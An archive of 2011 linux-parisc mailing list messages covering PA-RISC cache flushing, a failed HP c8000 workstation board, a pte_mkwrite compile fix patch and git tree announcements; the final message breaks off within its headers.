Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PcQ44-0008RT-My
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 Jan 2011 23:18:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754618Ab1AJWSM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Jan 2011 17:18:12 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2657 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754418Ab1AJWSM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Jan 2011 17:18:12 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 690FA4DF2; Mon, 10 Jan 2011 17:18:10 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <1294692282.6706.959.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3375
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3375>

On Mon, 10 Jan 2011, James Bottomley wrote:

> > Since I began testing this change, I have started seeing problems with the
> > console input on gsyprf11 and my rp3440.  If I HUP getty, the console works
> > for awhile and then stops working again.  Suspect the "INEQIVALENT ALIAS"
> > messages somehow kill the console.  I get a lot of these doing make check
> > for GCC from the tests that intentionally generate a segv to test exception
> > support.
> 
> In theory, the patch is actually stricter than our original flushing
> support because it eliminates the ineffective flushes and detects
> inequvalent aliases (and flushes all inequivalent addresses).

It might be that I only became aware of the console issue while
testing your patch.  Probably, I should retest without the patch.
It might just have to do with console messages and not cache flushing.

The stricter flushing would definitely appear to be an improvement
and indeed the messages have been useful in locating inequivalent
aliases.

As I have found, we have inequivalent aliases for almost every executable
when the boundary between text and data isn't exactly on a page boundary.
I would think this would be an issue for all machines with a VIPT
architecture, so I'm surprised that it hasn't come up before.

I'm a bit worried about the ordering of the flushes on processors that
don't support inequivalent aliases.  It would appear we generally flush
the text page first with the current code.

I can still cause random segvs on rp3440 if I use make -j4 or higher
building GCC ;(

> > I have also had at least one console related HPMC.  Analysis is attached.
> > I don't fully understand the actual cause of the HPMC (buffer overrun?).
> > The kernel was built with GCC 4.5.3.  The faulting instruction appears
> > to have the base and index interchanged, although this shouldn't affect
> > linux.  I thought this issue was fixed as a fair bit of work on this was
> > done in the middle-end.
> > 
> > I have to say that gsyprf11 running a SMP kernel built with 4.5.3 is
> > more stable with your change than it has been for a long time.
> 
> So I'm not sure what to make of this ... any memory fault shouldn't
> result in a HPMC ... I probably need to decode the HPMC to see what its
> saying ... I'll get around to that on the Weekend, hopefully.

That would be great.  I don't have the documentation needed to decode
HPMCs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Vladimirovich <porebrik@junkemail.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: HP c8000 failure
Date: Wed, 12 Jan 2011 14:26:56 +0300
Lines: 44
Approved: news@gmane.org
Message-ID: <BLU0-SMTP20449831E77AE6C75F0A2DBBFF10@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294831829 28357 80.91.229.12 (12 Jan 2011 11:30:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 12 Jan 2011 11:30:29 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 12 12:30:25 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PcyuG-0005ED-PA
	for glpp-linux-parisc@lo.gmane.org; Wed, 12 Jan 2011 12:30:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751947Ab1ALLaX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Jan 2011 06:30:23 -0500
Original-Received: from blu0-omc4-s36.blu0.hotmail.com ([65.55.111.175]:25663 "EHLO
	blu0-omc4-s36.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751766Ab1ALLaW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Jan 2011 06:30:22 -0500
X-Greylist: delayed 370 seconds by postgrey-1.27 at vger.kernel.org; Wed, 12 Jan 2011 06:30:22 EST
Original-Received: from BLU0-SMTP204 ([65.55.111.136]) by blu0-omc4-s36.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 12 Jan 2011 03:26:26 -0800
X-Originating-IP: [46.4.237.146]
X-Originating-Email: [porebrik@junkemail.ru]
Original-Received: from [0.0.0.0] ([46.4.237.146]) by BLU0-SMTP204.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 12 Jan 2011 03:26:24 -0800
X-OriginalArrivalTime: 12 Jan 2011 11:26:26.0309 (UTC) FILETIME=[8CB40350:01CBB24B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3376
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3376>

Hello PA-RISC Linux list!

Please reply back to me using <artem.falcon(at)gmail.com> address
instead, since porebrik@junkemail.ru is my junk mailbox for various
mail lists, and it's overflooded.

Is any technitian there who has some experience with failing c8000s?
I got oppressive "System Firmware Hang" according to diagnostic LEDs
on
rear panel.
Things that i already tried as well (and sorry for my english):
(not in right order, i've tried some of steps dozen of times):
1) Removed all the periphery (PCI cards, video card, HDDs);
2) Attached to serial port and used "COM Port Toolkit" software
to try send some values and sequences, but no replies from machine.
Settings were set following manual
(BCM led on the board blinks which means the BCM itself works);
3) Removed and swapped processors, swapped VRMs, tried to boot machine
with only 1 processor installed;
4) Checked the voltage of "CMOS" battery without and under the load,
removed it and installed back;
5) Removed additional memory, saved only two sticks;
6) Installed video card again, attached to it, attached USB keyboard,
same symptoms.
Can somebody suggest something else before i'll put this board into
trash
bin and try to get a new one?
Maybe someone knows the placement of firmware eeprom? Can he dump
raw contents from his chip?
Since there are many of c8000 geeks there, maybe any know any of
HP engineers/technitians?
Maybe some of you or they know some "magic" sequences or steps
which can be done before i will call this board a "brick" totally.

I also seen that there is Xilinx Spartan PLD chip on the board,
for what is it used for? Because it's known as relatively costly
solution for the vendor.

Thanks for any help!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Vladimirovich <porebrik@junkemail.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: HP c8000 failure
Date: Wed, 12 Jan 2011 14:24:58 +0300
Lines: 39
Approved: news@gmane.org
Message-ID: <BLU0-SMTP169B6095EAFE7CEE0840F4FBFF10@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294831829 28359 80.91.229.12 (12 Jan 2011 11:30:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 12 Jan 2011 11:30:29 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 12 12:30:25 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PcyuH-0005ED-9Q
	for glpp-linux-parisc@lo.gmane.org; Wed, 12 Jan 2011 12:30:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752136Ab1ALLaY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Jan 2011 06:30:24 -0500
Original-Received: from blu0-omc4-s36.blu0.hotmail.com ([65.55.111.175]:25663 "EHLO
	blu0-omc4-s36.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751901Ab1ALLaX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Jan 2011 06:30:23 -0500
X-Greylist: delayed 370 seconds by postgrey-1.27 at vger.kernel.org; Wed, 12 Jan 2011 06:30:22 EST
Original-Received: from BLU0-SMTP169 ([65.55.111.136]) by blu0-omc4-s36.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 12 Jan 2011 03:24:11 -0800
X-Originating-IP: [46.4.237.146]
X-Originating-Email: [porebrik@junkemail.ru]
Original-Received: from [0.0.0.0] ([46.4.237.146]) by BLU0-SMTP169.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 12 Jan 2011 03:24:10 -0800
X-OriginalArrivalTime: 12 Jan 2011 11:24:11.0374 (UTC) FILETIME=[3C4690E0:01CBB24B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3377
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3377>

Hello PA-RISC Linux list!
Is any technitian there who has some experience with failing c8000s?
I got oppressive "System Firmware Hang" according to diagnostic LEDs
on
rear panel.
Things that i already tried as well (and sorry for my english):
(not in right order, i've tried some of steps dozen of times):
1) Removed all the periphery (PCI cards, video card, HDDs);
2) Attached to serial port and used "COM Port Toolkit" software
to try send some values and sequences, but no replies from machine.
Settings were set following manual
(BCM led on the board blinks which means the BCM itself works);
3) Removed and swapped processors, swapped VRMs, tried to boot machine
with only 1 processor installed;
4) Checked the voltage of "CMOS" battery without and under the load,
removed it and installed back;
5) Removed additional memory, saved only two sticks;
6) Installed video card again, attached to it, attached USB keyboard,
same symptoms.
Can somebody suggest something else before i'll put this board into
trash
bin and try to get a new one?
Maybe someone knows the placement of firmware eeprom? Can he dump
raw contents from his chip?
Since there are many of c8000 geeks there, maybe any know any of
HP engineers/technitians?
Maybe some of you or they know some "magic" sequences or steps
which can be done before i will call this board a "brick" totally.

I also seen that there is Xilinx Spartan PLD chip on the board,
for what is it used for? Because it's known as relatively costly
solution for the vendor.

Thanks for any help!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH] parisc: fix compile breakage caused by inlining
 maybe_mkwrite
Date: Fri, 14 Jan 2011 16:21:47 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <1295043707.18445.70.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295043720 1405 80.91.229.12 (14 Jan 2011 22:22:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 14 Jan 2011 22:22:00 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Andrea Arcangeli <aarcange@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 14 23:21:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pds1q-0005pW-4d
	for glpp-linux-parisc@lo.gmane.org; Fri, 14 Jan 2011 23:21:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752463Ab1ANWVx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jan 2011 17:21:53 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59684 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752401Ab1ANWVw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jan 2011 17:21:52 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9E71C8EE01B;
	Fri, 14 Jan 2011 14:21:50 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id D8IiDhr-PWtP; Fri, 14 Jan 2011 14:21:50 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 21EAD8EE0C7;
	Fri, 14 Jan 2011 14:21:50 -0800 (PST)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3378 gmane.linux.kernel.cross-arch:8787
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3378>

on Parisc, we have an include of linux/mm.h inside our asm/pgtable.h, so
this patch 

commit 14fd403f2146f740942d78af4e0ee59396ad8eab
Author: Andrea Arcangeli <aarcange@redhat.com>
Date:   Thu Jan 13 15:46:37 2011 -0800

    thp: export maybe_mkwrite

Causes us an unsatisfiable use of pte_mkwrite in linux/mm.h

The fix is obviously not to include linux/mm.h in our pgtable.h, which
unbreaks the build.

James

---

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index f3c0973..5d7b8ce 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -10,11 +10,13 @@
  * we simulate an x86-style page table for the linux mm code
  */
 
-#include <linux/mm.h>		/* for vm_area_struct */
 #include <linux/bitops.h>
+#include <linux/spinlock.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
+struct vm_area_struct;
+
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: compile failure on hppa64: pte_mkwrite
Date: Sat, 15 Jan 2011 00:59:49 +0200 (EET)
Lines: 25
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1101150057210.8462@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1295046001 12010 80.91.229.12 (14 Jan 2011 23:00:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 14 Jan 2011 23:00:01 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	Linux Kernel list <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 14 23:59:52 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PdscZ-0003de-Tn
	for glpp-linux-parisc@lo.gmane.org; Fri, 14 Jan 2011 23:59:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752315Ab1ANW7v (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jan 2011 17:59:51 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:41713 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752190Ab1ANW7v (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jan 2011 17:59:51 -0500
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 8F5F173D7CE;
	Sat, 15 Jan 2011 00:59:49 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 556A3DAF81; Sat, 15 Jan 2011 00:59:49 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 4A529DAF80;
	Sat, 15 Jan 2011 00:59:49 +0200 (EET)
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3379 gmane.linux.kernel:1087831
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3379>

Tried todays 2.6.37+git on hppa64 and it fail to compile:

  CC      arch/parisc/kernel/asm-offsets.s
In file included from /home/mroos/linux-2.6/arch/parisc/include/asm/pgtable.h:13,
                 from arch/parisc/kernel/asm-offsets.c:37:
include/linux/mm.h: In function 'maybe_mkwrite':
include/linux/mm.h:482: error: implicit declaration of function 'pte_mkwrite'
include/linux/mm.h:482: error: incompatible types when assigning to type 'pte_t' from type 'int'
In file included from arch/parisc/kernel/asm-offsets.c:37:
/home/mroos/linux-2.6/arch/parisc/include/asm/pgtable.h: At top level:
/home/mroos/linux-2.6/arch/parisc/include/asm/pgtable.h:338: error: conflicting types for 'pte_mkwrite'
include/linux/mm.h:482: note: previous implicit declaration of 'pte_mkwrite' was here
make[1]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
make: *** [prepare0] Error 2

It seems pte_mkwrite is referenced in mm.h but not defined anywhere in 
include directory.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randy Dunlap <rdunlap@xenotime.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: compile failure on hppa64: pte_mkwrite
Date: Fri, 14 Jan 2011 15:15:59 -0800
Organization: YPO4
Lines: 32
Approved: news@gmane.org
Message-ID: <4D30D92F.20106@xenotime.net>
References: <alpine.SOC.1.00.1101150057210.8462@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295046969 16726 80.91.229.12 (14 Jan 2011 23:16:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 14 Jan 2011 23:16:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux Kernel list <linux-kernel@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 15 00:16:05 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PdssG-0006SN-Gf
	for glpp-linux-parisc@lo.gmane.org; Sat, 15 Jan 2011 00:16:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752998Ab1ANXQD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jan 2011 18:16:03 -0500
Original-Received: from xenotime.net ([72.52.115.56]:53760 "HELO xenotime.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751969Ab1ANXQD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jan 2011 18:16:03 -0500
Original-Received: from chimera.site ([173.50.240.230]) by xenotime.net for <linux-parisc@vger.kernel.org>; Fri, 14 Jan 2011 15:15:59 -0800
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Thunderbird/3.0
In-Reply-To: <alpine.SOC.1.00.1101150057210.8462@math.ut.ee>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3380 gmane.linux.kernel:1087837
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3380>

On 01/14/11 14:59, Meelis Roos wrote:
> Tried todays 2.6.37+git on hppa64 and it fail to compile:
> 
>   CC      arch/parisc/kernel/asm-offsets.s
> In file included from /home/mroos/linux-2.6/arch/parisc/include/asm/pgtable.h:13,
>                  from arch/parisc/kernel/asm-offsets.c:37:
> include/linux/mm.h: In function 'maybe_mkwrite':
> include/linux/mm.h:482: error: implicit declaration of function 'pte_mkwrite'
> include/linux/mm.h:482: error: incompatible types when assigning to type 'pte_t' from type 'int'
> In file included from arch/parisc/kernel/asm-offsets.c:37:
> /home/mroos/linux-2.6/arch/parisc/include/asm/pgtable.h: At top level:
> /home/mroos/linux-2.6/arch/parisc/include/asm/pgtable.h:338: error: conflicting types for 'pte_mkwrite'
> include/linux/mm.h:482: note: previous implicit declaration of 'pte_mkwrite' was here
> make[1]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
> make: *** [prepare0] Error 2
> 
> It seems pte_mkwrite is referenced in mm.h but not defined anywhere in 
> include directory.
> 

James posted a patch:

http://marc.info/?l=linux-parisc&m=129504371532124&w=2

-- 
~Randy
*** Remember to use Documentation/SubmitChecklist when testing your code ***
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Git kernel trees for parisc
Date: Sat, 15 Jan 2011 09:21:24 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <1295104884.5973.10.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295104897 2069 80.91.229.12 (15 Jan 2011 15:21:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 15 Jan 2011 15:21:37 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 15 16:21:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pe7wY-00049L-9d
	for glpp-linux-parisc@lo.gmane.org; Sat, 15 Jan 2011 16:21:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752154Ab1AOPV3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Jan 2011 10:21:29 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59093 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751431Ab1AOPV3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Jan 2011 10:21:29 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7345E8EE0CD
	for <linux-parisc@vger.kernel.org>; Sat, 15 Jan 2011 07:21:27 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id lv+72U8JnBgo for <linux-parisc@vger.kernel.org>;
	Sat, 15 Jan 2011 07:21:27 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 27DCF8EE0CB
	for <linux-parisc@vger.kernel.org>; Sat, 15 Jan 2011 07:21:27 -0800 (PST)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3381
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3381>

OK, I finally got them put together.  I'll try to use a more standard
workflow (like kyle did) ... this, unfortunately means that none of my
standard scripts worked, so I had to redo them all.

The current tree is here:

http://git.kernel.org/?p=linux/kernel/git/jejb/parisc-2.6.git

All branches are stored as topic ones with <topic> as the head and
<topic>-base as the base.  The current set of topics are

fixes - long lived topic branch for various fixes
for-next - topic for pulling into linux-next
tmpalias-flush - the current set of tmpalias flush patches.

In addition, the patches and changelogs which comprise each topic will
be available here:

http://www.kernel.org/pub/linux/kernel/people/jejb/parisc-2.6-<topic>.diff
http://www.kernel.org/pub/linux/kernel/people/jejb/parisc-2.6-<topic>.changelog

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Change in parisc tree source for Linux Next
Date: Sat, 15 Jan 2011 09:35:31 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <1295105731.5973.25.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295105741 5723 80.91.229.12 (15 Jan 2011 15:35:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 15 Jan 2011 15:35:41 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 15 16:35:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pe8AB-000457-6B
	for glpp-linux-parisc@lo.gmane.org; Sat, 15 Jan 2011 16:35:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753160Ab1AOPfe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Jan 2011 10:35:34 -0500
